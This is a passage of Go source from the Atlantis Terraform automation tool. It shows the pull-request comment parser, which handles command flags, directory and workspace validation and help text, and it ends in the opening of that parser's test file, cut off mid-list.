\"auto-merge-disabled\"\n\tautoMergeDisabledFlagShort   = \"\"\n\tautoMergeMethodFlagLong      = \"auto-merge-method\"\n\tautoMergeMethodFlagShort     = \"\"\n\tverboseFlagLong              = \"verbose\"\n\tverboseFlagShort             = \"\"\n\tclearPolicyApprovalFlagLong  = \"clear-policy-approval\"\n\tclearPolicyApprovalFlagShort = \"\"\n)\n\n// multiLineRegex is used to ignore multi-line comments since those aren't valid\n// Atlantis commands. If the second line just has newlines then we let it pass\n// through because when you double click on a comment in GitHub and then you\n// paste it again, GitHub adds two newlines and so we wanted to allow copying\n// and pasting GitHub comments.\nvar multiLineRegex = regexp.MustCompile(`.*\\r?\\n[^\\r\\n]+`)\n\n//go:generate pegomock generate --package mocks -o mocks/mock_comment_parsing.go CommentParsing\n\n// CommentParsing handles parsing pull request comments.\ntype CommentParsing interface {\n\t// Parse attempts to parse a pull request comment to see if it's an Atlantis\n\t// command.\n\tParse(comment string, vcsHost models.VCSHostType) CommentParseResult\n}\n\n//go:generate pegomock generate --package mocks -o mocks/mock_comment_building.go CommentBuilder\n\n// CommentBuilder builds comment commands that can be used on pull requests.\ntype CommentBuilder interface {\n\t// BuildPlanComment builds a plan comment for the specified args.\n\tBuildPlanComment(repoRelDir string, workspace string, project string, commentArgs []string) string\n\t// BuildApplyComment builds an apply comment for the specified args.\n\tBuildApplyComment(repoRelDir string, workspace string, project string, autoMergeDisabled bool, autoMergeMethod string) string\n\t// BuildApprovePoliciesComment builds an approve_policies comment for the specified args.\n\tBuildApprovePoliciesComment(repoRelDir string, workspace string, project string) string\n}\n\n// CommentParser implements CommentParsing\ntype CommentParser struct {\n\tGithubUser      string\n\tGitlabUser      string\n\tGiteaUser       string\n\tBitbucketUser   string\n\tAzureDevopsUser string\n\tExecutableName  string\n\tAllowCommands   []command.Name\n}\n\n// NewCommentParser returns a CommentParser\nfunc NewCommentParser(githubUser, gitlabUser, giteaUser, bitbucketUser, azureDevopsUser, executableName string, allowCommands []command.Name) *CommentParser {\n\tvar commentAllowCommands []command.Name\n\tfor _, acceptableCommand := range command.AllCommentCommands {\n\t\tfor _, allowCommand := range allowCommands {\n\t\t\tif acceptableCommand == allowCommand {\n\t\t\t\tcommentAllowCommands = append(commentAllowCommands, allowCommand)\n\t\t\t\tbreak // for distinct\n\t\t\t}\n\t\t}\n\t}\n\n\treturn &CommentParser{\n\t\tGithubUser:      githubUser,\n\t\tGitlabUser:      gitlabUser,\n\t\tGiteaUser:       giteaUser,\n\t\tBitbucketUser:   bitbucketUser,\n\t\tAzureDevopsUser: azureDevopsUser,\n\t\tExecutableName:  executableName,\n\t\tAllowCommands:   commentAllowCommands,\n\t}\n}\n\n// CommentParseResult describes the result of parsing a comment as a command.\ntype CommentParseResult struct {\n\t// Command is the successfully parsed command. Will be nil if\n\t// CommentResponse or Ignore is set.\n\tCommand *CommentCommand\n\t// CommentResponse is set when we should respond immediately to the command\n\t// for example for atlantis help.\n\tCommentResponse string\n\t// Ignore is set to true when we should just ignore this comment.\n\tIgnore bool\n}\n\n// Parse parses the comment as an Atlantis command.\n//\n// Valid commands contain:\n//   - The initial \"executable\" name, 'run' or 'atlantis' or '@GithubUser'\n//     where GithubUser is the API user Atlantis is running as.\n//   - Then a command: 'plan', 'apply', 'unlock', 'version, 'approve_policies',\n//     or 'help'.\n//   - Then optional flags, then an optional separator '--' followed by optional\n//     extra flags to be appended to the terraform plan/apply command.\n//\n// Examples:\n// - atlantis help\n// - run apply\n// - @GithubUser plan -w staging\n// - atlantis plan -w staging -d dir --verbose\n// - atlantis plan --verbose -- -key=value -key2 value2\n// - atlantis unlock\n// - atlantis version\n// - atlantis approve_policies\n// - atlantis import ADDRESS ID\nfunc (e *CommentParser) Parse(rawComment string, vcsHost models.VCSHostType) CommentParseResult {\n\tcomment := strings.TrimSpace(rawComment)\n\tcomment = strings.Trim(comment, \"`\")\n\n\tif multiLineRegex.MatchString(comment) {\n\t\treturn CommentParseResult{Ignore: true}\n\t}\n\n\t// We first use strings.Fields to parse and do an initial evaluation.\n\t// Later we use a proper shell parser and re-parse.\n\targs := strings.Fields(comment)\n\tif len(args) < 1 {\n\t\treturn CommentParseResult{Ignore: true}\n\t}\n\n\t// Lowercase it to avoid autocorrect issues with browsers.\n\texecutableName := strings.ToLower(args[0])\n\n\t// Helpfully warn the user if they're using \"terraform\" instead of \"atlantis\"\n\tif executableName == \"terraform\" && e.ExecutableName != \"terraform\" {\n\t\treturn CommentParseResult{CommentResponse: fmt.Sprintf(DidYouMeanAtlantisComment, e.ExecutableName, \"terraform\")}\n\t}\n\n\t// Helpfully warn the user that the command might be misspelled\n\tif utils.IsSimilarWord(executableName, e.ExecutableName) {\n\t\treturn CommentParseResult{CommentResponse: fmt.Sprintf(DidYouMeanAtlantisComment, e.ExecutableName, args[0])}\n\t}\n\n\t// Atlantis can be invoked using the name of the VCS host user we're\n\t// running under. Need to be able to match against that user.\n\tvar vcsUser string\n\tswitch vcsHost {\n\tcase models.Github:\n\t\tvcsUser = e.GithubUser\n\tcase models.Gitlab:\n\t\tvcsUser = e.GitlabUser\n\tcase models.Gitea:\n\t\tvcsUser = e.GiteaUser\n\tcase models.BitbucketCloud, models.BitbucketServer:\n\t\tvcsUser = e.BitbucketUser\n\tcase models.AzureDevops:\n\t\tvcsUser = e.AzureDevopsUser\n\t}\n\texecutableNames := []string{\"run\", e.ExecutableName, \"@\" + vcsUser}\n\tif !slices.Contains(executableNames, executableName) {\n\t\treturn CommentParseResult{Ignore: true}\n\t}\n\n\t// Now that we know Atlantis is being invoked, re-parse using a shell-style\n\t// parser.\n\targs, err := shlex.Split(comment)\n\tif err != nil {\n\t\treturn CommentParseResult{CommentResponse: fmt.Sprintf(\"```\\nError parsing command: %s\\n```\", err)}\n\t}\n\tif len(args) < 1 {\n\t\treturn CommentParseResult{Ignore: true}\n\t}\n\n\t// If they've just typed the name of the executable then give them the help\n\t// output.\n\tif len(args) == 1 {\n\t\treturn CommentParseResult{CommentResponse: e.HelpComment()}\n\t}\n\n\t// Lowercase it to avoid autocorrect issues with browsers.\n\tcmd := strings.ToLower(args[1])\n\n\t// Help output.\n\tif slices.Contains([]string{\"help\", \"-h\", \"--help\"}, cmd) {\n\t\treturn CommentParseResult{CommentResponse: e.HelpComment()}\n\t}\n\n\t// Need to have allow commands at this point.\n\tif !e.isAllowedCommand(cmd) {\n\t\tvar allowCommandList []string\n\t\tfor _, allowCommand := range e.AllowCommands {\n\t\t\tallowCommandList = append(allowCommandList, allowCommand.String())\n\t\t}\n\t\treturn CommentParseResult{CommentResponse: fmt.Sprintf(\"```\\nError: unknown command %q.\\nRun '%s --help' for usage.\\nAvailable commands(--allow-commands): %s\\n```\", cmd, e.ExecutableName, strings.Join(allowCommandList, \", \"))}\n\t}\n\n\tvar workspace string\n\tvar dir string\n\tvar project string\n\tvar policySet string\n\tvar clearPolicyApproval bool\n\tvar verbose bool\n\tvar autoMergeDisabled bool\n\tvar autoMergeMethod string\n\tvar flagSet *pflag.FlagSet\n\tvar name command.Name\n\n\t// Set up the flag parsing depending on the command.\n\tswitch cmd {\n\tcase command.Plan.String():\n\t\tname = command.Plan\n\t\tflagSet = pflag.NewFlagSet(command.Plan.String(), pflag.ContinueOnError)\n\t\tflagSet.SetOutput(io.Discard)\n\t\tflagSet.StringVarP(&workspace, workspaceFlagLong, workspaceFlagShort, \"\", \"Switch to this Terraform workspace before planning.\")\n\t\tflagSet.StringVarP(&dir, dirFlagLong, dirFlagShort, \"\", \"Which directory to run plan in relative to root of repo, ex. 'child/dir'.\")\n\t\tflagSet.StringVarP(&project, projectFlagLong, projectFlagShort, \"\", \"Which project to run plan for. Refers to the name of the project configured in a repo config file. Cannot be used at same time as workspace or dir flags.\")\n\t\tflagSet.BoolVarP(&verbose, verboseFlagLong, verboseFlagShort, false, \"Append Atlantis log to comment.\")\n\tcase command.Apply.String():\n\t\tname = command.Apply\n\t\tflagSet = pflag.NewFlagSet(command.Apply.String(), pflag.ContinueOnError)\n\t\tflagSet.SetOutput(io.Discard)\n\t\tflagSet.StringVarP(&workspace, workspaceFlagLong, workspaceFlagShort, \"\", \"Apply the plan for this Terraform workspace.\")\n\t\tflagSet.StringVarP(&dir, dirFlagLong, dirFlagShort, \"\", \"Apply the plan for this directory, relative to root of repo, ex. 'child/dir'.\")\n\t\tflagSet.StringVarP(&project, projectFlagLong, projectFlagShort, \"\", \"Apply the plan for this project. Refers to the name of the project configured in a repo config file. Cannot be used at same time as workspace or dir flags.\")\n\t\tflagSet.BoolVarP(&autoMergeDisabled, autoMergeDisabledFlagLong, autoMergeDisabledFlagShort, false, \"Disable automerge after apply.\")\n\t\tflagSet.StringVarP(&autoMergeMethod, autoMergeMethodFlagLong, autoMergeMethodFlagShort, \"\", \"Specifies the merge method for the VCS if automerge is enabled. (Currently only implemented for GitHub)\")\n\t\tflagSet.BoolVarP(&verbose, verboseFlagLong, verboseFlagShort, false, \"Append Atlantis log to comment.\")\n\tcase command.ApprovePolicies.String():\n\t\tname = command.ApprovePolicies\n\t\tflagSet = pflag.NewFlagSet(command.ApprovePolicies.String(), pflag.ContinueOnError)\n\t\tflagSet.SetOutput(io.Discard)\n\t\tflagSet.StringVarP(&workspace, workspaceFlagLong, workspaceFlagShort, \"\", \"Approve policies for this Terraform workspace.\")\n\t\tflagSet.StringVarP(&dir, dirFlagLong, dirFlagShort, \"\", \"Approve policies for this directory, relative to root of repo, ex. 'child/dir'.\")\n\t\tflagSet.StringVarP(&project, projectFlagLong, projectFlagShort, \"\", \"Approve policies for this project. Refers to the name of the project configured in a repo config file. Cannot be used at same time as workspace or dir flags.\")\n\t\tflagSet.StringVarP(&policySet, policySetFlagLong, policySetFlagShort, \"\", \"Approve policies for this project. Refers to the name of the project configured in a repo config file. Cannot be used at same time as workspace or dir flags.\")\n\t\tflagSet.BoolVarP(&clearPolicyApproval, clearPolicyApprovalFlagLong, clearPolicyApprovalFlagShort, false, \"Clear any existing policy approvals.\")\n\t\tflagSet.BoolVarP(&verbose, verboseFlagLong, verboseFlagShort, false, \"Append Atlantis log to comment.\")\n\tcase command.Unlock.String():\n\t\tname = command.Unlock\n\t\tflagSet = pflag.NewFlagSet(command.Unlock.String(), pflag.ContinueOnError)\n\t\tflagSet.SetOutput(io.Discard)\n\tcase command.Cancel.String():\n\t\tname = command.Cancel\n\t\tflagSet = pflag.NewFlagSet(command.Cancel.String(), pflag.ContinueOnError)\n\t\tflagSet.SetOutput(io.Discard)\n\tcase command.Version.String():\n\t\tname = command.Version\n\t\tflagSet = pflag.NewFlagSet(command.Version.String(), pflag.ContinueOnError)\n\t\tflagSet.StringVarP(&workspace, workspaceFlagLong, workspaceFlagShort, \"\", \"Switch to this Terraform workspace before running version.\")\n\t\tflagSet.StringVarP(&dir, dirFlagLong, dirFlagShort, \"\", \"Which directory to run version in relative to root of repo, ex. 'child/dir'.\")\n\t\tflagSet.StringVarP(&project, projectFlagLong, projectFlagShort, \"\", \"Print the version for this project. Refers to the name of the project configured in a repo config file.\")\n\t\tflagSet.BoolVarP(&verbose, verboseFlagLong, verboseFlagShort, false, \"Append Atlantis log to comment.\")\n\tcase command.Import.String():\n\t\tname = command.Import\n\t\tflagSet = pflag.NewFlagSet(command.Import.String(), pflag.ContinueOnError)\n\t\tflagSet.SetOutput(io.Discard)\n\t\tflagSet.StringVarP(&workspace, workspaceFlagLong, workspaceFlagShort, \"\", \"Switch to this Terraform workspace before importing.\")\n\t\tflagSet.StringVarP(&dir, dirFlagLong, dirFlagShort, \"\", \"Which directory to run import in relative to root of repo, ex. 'child/dir'.\")\n\t\tflagSet.StringVarP(&project, projectFlagLong, projectFlagShort, \"\", \"Which project to run import for. Refers to the name of the project configured in a repo config file. Cannot be used at same time as workspace or dir flags.\")\n\t\tflagSet.BoolVarP(&verbose, verboseFlagLong, verboseFlagShort, false, \"Append Atlantis log to comment.\")\n\tcase command.State.String():\n\t\tname = command.State\n\t\tflagSet = pflag.NewFlagSet(command.State.String(), pflag.ContinueOnError)\n\t\tflagSet.SetOutput(io.Discard)\n\t\tflagSet.StringVarP(&workspace, workspaceFlagLong, workspaceFlagShort, \"\", \"Switch to this Terraform workspace before processing tfstate.\")\n\t\tflagSet.StringVarP(&dir, dirFlagLong, dirFlagShort, \"\", \"Which directory to run state command in relative to root of repo, ex. 'child/dir'.\")\n\t\tflagSet.StringVarP(&project, projectFlagLong, projectFlagShort, \"\", \"Which project to run state command for. Refers to the name of the project configured in a repo config file. Cannot be used at same time as workspace or dir flags.\")\n\t\tflagSet.BoolVarP(&verbose, verboseFlagLong, verboseFlagShort, false, \"Append Atlantis log to comment.\")\n\tdefault:\n\t\treturn CommentParseResult{CommentResponse: fmt.Sprintf(\"Error: unknown command %q – this is a bug\", cmd)}\n\t}\n\n\tsubName, extraArgs, errResult := e.parseArgs(name, args, flagSet)\n\tif errResult != \"\" {\n\t\treturn CommentParseResult{CommentResponse: errResult}\n\t}\n\n\tdir, err = e.validateDir(dir)\n\tif err != nil {\n\t\treturn CommentParseResult{CommentResponse: e.errMarkdown(err.Error(), cmd, flagSet)}\n\t}\n\n\t// Use the same validation that Terraform uses: https://git.io/vxGhU. Plus\n\t// we also don't allow '..'. We don't want the workspace to contain a path\n\t// since we create files based on the name.\n\tif workspace != url.PathEscape(workspace) || strings.Contains(workspace, \"..\") {\n\t\treturn CommentParseResult{CommentResponse: e.errMarkdown(fmt.Sprintf(\"invalid workspace: %q\", workspace), cmd, flagSet)}\n\t}\n\n\t// If project is specified, dir or workspace should not be set. Since we\n\t// dir/workspace have defaults we can't detect if the user set the flag\n\t// to the default or didn't set the flag so there is an edge case here we\n\t// don't detect, ex. atlantis plan -p project -d . -w default won't cause\n\t// an error.\n\tif project != \"\" && (workspace != \"\" || dir != \"\") {\n\t\terr := fmt.Sprintf(\"cannot use -%s/--%s at same time as -%s/--%s or -%s/--%s\", projectFlagShort, projectFlagLong, dirFlagShort, dirFlagLong, workspaceFlagShort, workspaceFlagLong)\n\t\treturn CommentParseResult{CommentResponse: e.errMarkdown(err, cmd, flagSet)}\n\t}\n\n\tif autoMergeMethod != \"\" {\n\t\tif autoMergeDisabled {\n\t\t\terr := fmt.Sprintf(\"cannot use --%s at the same time as --%s\", autoMergeMethodFlagLong, autoMergeDisabledFlagLong)\n\t\t\treturn CommentParseResult{CommentResponse: e.errMarkdown(err, cmd, flagSet)}\n\t\t}\n\n\t\tif vcsHost != models.Github {\n\t\t\terr := fmt.Sprintf(\"--%s is not currently implemented for %s\", autoMergeMethodFlagLong, vcsHost.String())\n\t\t\treturn CommentParseResult{CommentResponse: e.errMarkdown(err, cmd, flagSet)}\n\t\t}\n\t}\n\n\treturn CommentParseResult{\n\t\tCommand: NewCommentCommand(dir, extraArgs, name, subName, verbose, autoMergeDisabled, autoMergeMethod, workspace, project, policySet, clearPolicyApproval),\n\t}\n}\n\nfunc (e *CommentParser) parseArgs(name command.Name, args []string, flagSet *pflag.FlagSet) (string, []string, string) {\n\t// Now parse the flags.\n\t// It's safe to use [2:] because we know there's at least 2 elements in args.\n\terr := flagSet.Parse(args[2:])\n\tif err == pflag.ErrHelp {\n\t\treturn \"\", nil, fmt.Sprintf(\"```\\nUsage of %s:\\n%s\\n```\", name.DefaultUsage(), flagSet.FlagUsagesWrapped(usagesCols))\n\t}\n\tif err != nil {\n\t\tif name == command.Unlock {\n\t\t\treturn \"\", nil, fmt.Sprintf(UnlockUsage, e.ExecutableName)\n\t\t}\n\t\treturn \"\", nil, e.errMarkdown(err.Error(), name.String(), flagSet)\n\t}\n\n\tvar commandArgs []string // commandArgs are the arguments that are passed before `--` without any parameter flags.\n\tif flagSet.ArgsLenAtDash() == -1 {\n\t\tcommandArgs = flagSet.Args()\n\t} else {\n\t\tcommandArgs = flagSet.Args()[0:flagSet.ArgsLenAtDash()]\n\t}\n\n\t// If command require subcommand, get it from command args\n\tvar subCommand string\n\tavailableSubCommands := name.SubCommands()\n\tif len(availableSubCommands) > 0 { // command requires a subcommand\n\t\tif len(commandArgs) < 1 {\n\t\t\treturn \"\", nil, e.errMarkdown(\"subcommand required\", name.String(), flagSet)\n\t\t}\n\t\tsubCommand, commandArgs = commandArgs[0], commandArgs[1:]\n\t\tisAvailableSubCommand := utils.SlicesContains(availableSubCommands, subCommand)\n\t\tif !isAvailableSubCommand {\n\t\t\terrMsg := fmt.Sprintf(\"invalid subcommand %s (not %s)\", subCommand, strings.Join(availableSubCommands, \", \"))\n\t\t\treturn \"\", nil, e.errMarkdown(errMsg, name.String(), flagSet)\n\t\t}\n\t}\n\n\t// check command args count requirements\n\tcommandArgCount, err := name.CommandArgCount(subCommand)\n\tif err != nil {\n\t\treturn \"\", nil, e.errMarkdown(err.Error(), name.String(), flagSet)\n\t}\n\tif !commandArgCount.IsMatchCount(len(commandArgs)) {\n\t\treturn \"\", nil, e.errMarkdown(fmt.Sprintf(\"unknown argument(s) – %s\", strings.Join(commandArgs, \" \")), name.DefaultUsage(), flagSet)\n\t}\n\n\tvar extraArgs []string // command extra_args\n\tif flagSet.ArgsLenAtDash() != -1 {\n\t\textraArgs = append(extraArgs, flagSet.Args()[flagSet.ArgsLenAtDash():]...)\n\t}\n\n\t// pass commandArgs into extraArgs after extra args.\n\t// - after comment_parser, we will use extra_args only.\n\t// - terraform command args accept after options like followings\n\t//   - e.g.\n\t//     - from: `atlantis import ADDRESS ID -- -var foo=bar\n\t//     - to: `terraform import -var foo=bar ADDRESS ID`\n\t//   - e.g.\n\t//     - from: `atlantis state rm ADDRESS1 ADDRESS2 -- -var foo=bar\n\t//     - to: `terraform state rm -var foo=bar ADDRESS1 ADDRESS2` (subcommand=rm)\n\textraArgs = append(extraArgs, commandArgs...)\n\treturn subCommand, extraArgs, \"\"\n}\n\n// BuildPlanComment builds a plan comment for the specified args.\nfunc (e *CommentParser) BuildPlanComment(repoRelDir string, workspace string, project string, commentArgs []string) string {\n\tflags := e.buildFlags(repoRelDir, workspace, project, false, \"\")\n\tcommentFlags := \"\"\n\tif len(commentArgs) > 0 {\n\t\tvar flagsWithoutQuotes []string\n\t\tfor _, f := range commentArgs {\n\t\t\tf = strings.TrimPrefix(f, \"\\\"\")\n\t\t\tf = strings.TrimSuffix(f, \"\\\"\")\n\t\t\tflagsWithoutQuotes = append(flagsWithoutQuotes, f)\n\t\t}\n\t\tcommentFlags = fmt.Sprintf(\" -- %s\", strings.Join(flagsWithoutQuotes, \" \"))\n\t}\n\treturn fmt.Sprintf(\"%s %s%s%s\", e.ExecutableName, command.Plan.String(), flags, commentFlags)\n}\n\n// BuildApplyComment builds an apply comment for the specified args.\nfunc (e *CommentParser) BuildApplyComment(repoRelDir string, workspace string, project string, autoMergeDisabled bool, autoMergeMethod string) string {\n\tflags := e.buildFlags(repoRelDir, workspace, project, autoMergeDisabled, autoMergeMethod)\n\treturn fmt.Sprintf(\"%s %s%s\", e.ExecutableName, command.Apply.String(), flags)\n}\n\n// BuildApprovePoliciesComment builds an apply comment for the specified args.\nfunc (e *CommentParser) BuildApprovePoliciesComment(repoRelDir string, workspace string, project string) string {\n\tflags := e.buildFlags(repoRelDir, workspace, project, false, \"\")\n\treturn fmt.Sprintf(\"%s %s%s\", e.ExecutableName, command.ApprovePolicies.String(), flags)\n}\n\nfunc (e *CommentParser) buildFlags(repoRelDir string, workspace string, project string, autoMergeDisabled bool, autoMergeMethod string) string {\n\t// Add quotes if dir has spaces.\n\tif strings.Contains(repoRelDir, \" \") {\n\t\trepoRelDir = fmt.Sprintf(\"%q\", repoRelDir)\n\t}\n\n\tvar flags string\n\tswitch {\n\t// If project is specified we can just use its name.\n\tcase project != \"\":\n\t\tflags = fmt.Sprintf(\" -%s %s\", projectFlagShort, project)\n\tcase repoRelDir == DefaultRepoRelDir && workspace == DefaultWorkspace:\n\t\t// If it's the root and default workspace then we just need to specify one\n\t\t// of the flags and the other will get defaulted.\n\t\tflags = fmt.Sprintf(\" -%s %s\", dirFlagShort, DefaultRepoRelDir)\n\tcase repoRelDir == DefaultRepoRelDir:\n\t\t// If dir is the default then we just need to specify workspace.\n\t\tflags = fmt.Sprintf(\" -%s %s\", workspaceFlagShort, workspace)\n\tcase workspace == DefaultWorkspace:\n\t\t// If workspace is the default then we just need to specify the dir.\n\t\tflags = fmt.Sprintf(\" -%s %s\", dirFlagShort, repoRelDir)\n\tdefault:\n\t\t// Otherwise we have to specify both flags.\n\t\tflags = fmt.Sprintf(\" -%s %s -%s %s\", dirFlagShort, repoRelDir, workspaceFlagShort, workspace)\n\t}\n\tif autoMergeDisabled {\n\t\tflags = fmt.Sprintf(\"%s --%s\", flags, autoMergeDisabledFlagLong)\n\t}\n\tif autoMergeMethod != \"\" {\n\t\tflags = fmt.Sprintf(\"%s --%s %s\", flags, autoMergeMethodFlagLong, autoMergeMethod)\n\t}\n\treturn flags\n}\n\nfunc (e *CommentParser) validateDir(dir string) (string, error) {\n\tif dir == \"\" {\n\t\treturn dir, nil\n\t}\n\n\t// Check if dir contains glob pattern characters\n\tif containsGlobPattern(dir) {\n\t\t// For glob patterns, we validate but don't clean (cleaning mangles glob chars)\n\t\t// Security check: prevent directory traversal even in glob patterns\n\t\tif strings.Contains(dir, \"..\") {\n\t\t\treturn \"\", fmt.Errorf(\"using '..' in glob pattern %q with -%s/--%s is not allowed\", dir, dirFlagShort, dirFlagLong)\n\t\t}\n\n\t\t// Validate the glob pattern syntax\n\t\tif !doublestar.ValidatePattern(dir) {\n\t\t\treturn \"\", fmt.Errorf(\"invalid glob pattern %q with -%s/--%s\", dir, dirFlagShort, dirFlagLong)\n\t\t}\n\n\t\t// Clean leading ./ or / for consistency with non-glob paths\n\t\tdir = strings.TrimPrefix(dir, \"./\")\n\t\tdir = strings.TrimPrefix(dir, \"/\")\n\t\tif dir == \"\" {\n\t\t\tdir = \".\"\n\t\t}\n\n\t\treturn dir, nil\n\t}\n\n\t// For non-glob patterns, use standard path cleaning\n\tvalidatedDir := filepath.Clean(dir)\n\t// Join with . so the path is relative. This helps us if they use '/',\n\t// and is safe to do if their path is relative since it's a no-op.\n\tvalidatedDir = filepath.Join(\".\", validatedDir)\n\t// Need to clean again to resolve relative validatedDirs.\n\tvalidatedDir = filepath.Clean(validatedDir)\n\t// Detect relative dirs since they're not allowed.\n\tif strings.HasPrefix(validatedDir, \"..\") {\n\t\treturn \"\", fmt.Errorf(\"using a relative path %q with -%s/--%s is not allowed\", dir, dirFlagShort, dirFlagLong)\n\t}\n\n\treturn validatedDir, nil\n}\n\n// containsGlobPattern returns true if the string contains glob pattern characters.\nfunc containsGlobPattern(s string) bool {\n\treturn strings.ContainsAny(s, \"*?[\")\n}\n\nfunc (e *CommentParser) isAllowedCommand(cmd string) bool {\n\tfor _, allowed := range e.AllowCommands {\n\t\tif allowed.String() == cmd {\n\t\t\treturn true\n\t\t}\n\t}\n\treturn false\n}\n\nfunc (e *CommentParser) errMarkdown(errMsg string, cmd string, flagSet *pflag.FlagSet) string {\n\treturn fmt.Sprintf(\"```\\nError: %s.\\nUsage of %s:\\n%s```\", errMsg, cmd, flagSet.FlagUsagesWrapped(usagesCols))\n}\n\nfunc (e *CommentParser) HelpComment() string {\n\tbuf := &bytes.Buffer{}\n\tvar tmpl = template.Must(template.New(\"\").Parse(helpCommentTemplate))\n\tif err := tmpl.Execute(buf, struct {\n\t\tExecutableName       string\n\t\tAllowVersion         bool\n\t\tAllowPlan            bool\n\t\tAllowApply           bool\n\t\tAllowUnlock          bool\n\t\tAllowApprovePolicies bool\n\t\tAllowImport          bool\n\t\tAllowState           bool\n\t}{\n\t\tExecutableName:       e.ExecutableName,\n\t\tAllowVersion:         e.isAllowedCommand(command.Version.String()),\n\t\tAllowPlan:            e.isAllowedCommand(command.Plan.String()),\n\t\tAllowApply:           e.isAllowedCommand(command.Apply.String()),\n\t\tAllowUnlock:          e.isAllowedCommand(command.Unlock.String()),\n\t\tAllowApprovePolicies: e.isAllowedCommand(command.ApprovePolicies.String()),\n\t\tAllowImport:          e.isAllowedCommand(command.Import.String()),\n\t\tAllowState:           e.isAllowedCommand(command.State.String()),\n\t}); err != nil {\n\t\treturn fmt.Sprintf(\"Failed to render template, this is a bug: %v\", err)\n\t}\n\treturn buf.String()\n}\n\nvar helpCommentTemplate = \"```cmake\\n\" +\n\t`atlantis\nTerraform Pull Request Automation\n\nUsage:\n  {{ .ExecutableName }} <command> [options] -- [terraform options]\n\nExamples:\n  # show atlantis help\n  {{ .ExecutableName }} help\n{{- if .AllowPlan }}\n\n  # run plan in the root directory passing the -target flag to terraform\n  {{ .ExecutableName }} plan -d . -- -target=resource\n{{- end }}\n{{- if .AllowApply }}\n\n  # apply all unapplied plans from this pull request\n  {{ .ExecutableName }} apply\n\n  # apply the plan for the root directory and staging workspace\n  {{ .ExecutableName }} apply -d . -w staging\n{{- end }}\n\nCommands:\n{{- if .AllowPlan }}\n  plan     Runs 'terraform plan' for the changes in this pull request.\n           To plan a specific project, use the -d, -w and -p flags.\n{{- end }}\n{{- if .AllowApply }}\n  apply    Runs 'terraform apply' on all unapplied plans from this pull request.\n           To only apply a specific plan, use the -d, -w and -p flags.\n{{- end }}\n{{- if .AllowUnlock }}\n  unlock   Removes all atlantis locks and discards all plans for this PR.\n           To unlock a specific plan you can use the Atlantis UI.\n{{- end }}\n{{- if .AllowApprovePolicies }}\n  approve_policies\n           Approves all current policy checking failures for the PR.\n{{- end }}\n{{- if .AllowVersion }}\n  version  Print the output of 'terraform version'\n{{- end }}\n{{- if .AllowImport }}\n  import ADDRESS ID\n           Runs 'terraform import' for the passed address resource.\n           To import a specific project, use the -d, -w and -p flags.\n{{- end }}\n{{- if .AllowState }}\n  state rm ADDRESS...\n           Runs 'terraform state rm' for the passed address resource.\n           To remove a specific project resource, use the -d, -w and -p flags.\n{{- end }}\n  help     View help.\n\nFlags:\n  -h, --help   help for atlantis\n\nUse \"{{ .ExecutableName }} [command] --help\" for more information about a command.` +\n\t\"\\n```\"\n\n// DidYouMeanAtlantisComment is the comment we add to the pull request when\n// someone runs a misspelled command or terraform instead of atlantis.\nvar DidYouMeanAtlantisComment = \"Did you mean to use `%s` instead of `%s`?\"\n\n// UnlockUsage is the comment we add to the pull request when someone runs\n// `atlantis unlock` with flags.\n\nvar UnlockUsage = \"`Usage of unlock:`\\n\\n ```cmake\\n\" +\n\t`%s unlock\n\n  Unlocks the entire PR and discards all plans in this PR.\n  Arguments or flags are not supported at the moment.\n  If you need to unlock a specific project please use the atlantis UI.` +\n\t\"\\n```\"\n"
  },
  {
    "path": "server/events/comment_parser_test.go",
    "content": "// Copyright 2017 HootSuite Media Inc.\n//\n// Licensed under the Apache License, Version 2.0 (the License);\n// you may not use this file except in compliance with the License.\n// You may obtain a copy of the License at\n//    http://www.apache.org/licenses/LICENSE-2.0\n// Unless required by applicable law or agreed to in writing, software\n// distributed under the License is distributed on an AS IS BASIS,\n// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n// See the License for the specific language governing permissions and\n// limitations under the License.\n// Modified hereafter by contributors to runatlantis/atlantis.\n\npackage events_test\n\nimport (\n\t\"fmt\"\n\t\"strings\"\n\t\"testing\"\n\n\t\"github.com/runatlantis/atlantis/server/events\"\n\t\"github.com/runatlantis/atlantis/server/events/command\"\n\t\"github.com/runatlantis/atlantis/server/events/models\"\n\t. \"github.com/runatlantis/atlantis/testing\"\n\t\"github.com/stretchr/testify/assert\"\n)\n\nvar commentParser = events.CommentParser{\n\tGithubUser:     \"github-user\",\n\tGitlabUser:     \"gitlab-user\",\n\tGiteaUser:      \"gitea-user\",\n\tExecutableName: \"atlantis\",\n\tAllowCommands:  command.AllCommentCommands,\n}\n\nfunc TestNewCommentParser(t *testing.T) {\n\ttype args struct {\n\t\tgithubUser      string\n\t\tgitlabUser      string\n\t\tgiteaUser       string\n\t\tbitbucketUser   string\n\t\tazureDevopsUser string\n\t\texecutableName  string\n\t\tallowCommands   []command.Name\n\t}\n\ttests := []struct {\n\t\tname string\n\t\targs args\n\t\twant *events.CommentParser\n\t}{\n\t\t{\n\t\t\tname: \"duplicate allow commands filtered\",\n\t\t\targs: args{\n\t\t\t\tallowCommands: []command.Name{command.Plan, command.Plan, command.Plan},\n\t\t\t},\n\t\t\twant: &events.CommentParser{\n\t\t\t\tAllowCommands: []command.Name{command.Plan},\n\t\t\t},\n\t\t},\n\t\t{\n\t\t\tname: \"comment un-available commands filtered\",\n\t\t\targs: args{\n\t\t\t\t// PolicyCheck and Autoplan cannot be used on comment command, so filtered\n\t\t\t\tallowCommands: []command.Name{command.Plan, command.Apply, command.Unlock, command.PolicyCheck, command.ApprovePolicies, command.Autoplan, command.Version, command.Import},\n\t\t\t},\n\t\t\twant: &events.CommentParser{\n\t\t\t\tAllowCommands: []command.Name{command.Version, command.Plan, command.Apply, command.Unlock, command.ApprovePolicies, command.Import},\n\t\t\t},\n\t\t},\n\t}\n\tfor _, tt := range tests {\n\t\tt.Run(tt.name, func(t *testing.T) {\n\t\t\tassert.Equalf(t, tt.want, events.NewCommentParser(tt.args.githubUser, tt.args.gitlabUser, tt.args.giteaUser, tt.args.bitbucketUser, tt.args.azureDevopsUser, tt.args.executableName, tt.args.allowCommands), \"NewCommentParser(%v, %v, %v, %v, %v, %v)\", tt.args.githubUser, tt.args.gitlabUser, tt.args.bitbucketUser, tt.args.azureDevopsUser, tt.args.executableName, tt.args.allowCommands)\n\t\t})\n\t}\n}\n\nfunc TestParse_Ignored(t *testing.T) {\n\tignoreComments := []string{\n\t\t\"\",\n\t\t\"a\",\n\t\t\"abc\",\n\t\t\"atlantis plan\\nbut with newlines\",\n\t\t\"terraform plan\\nbut with newlines\",\n\t\t\"This shouldn't error, but it 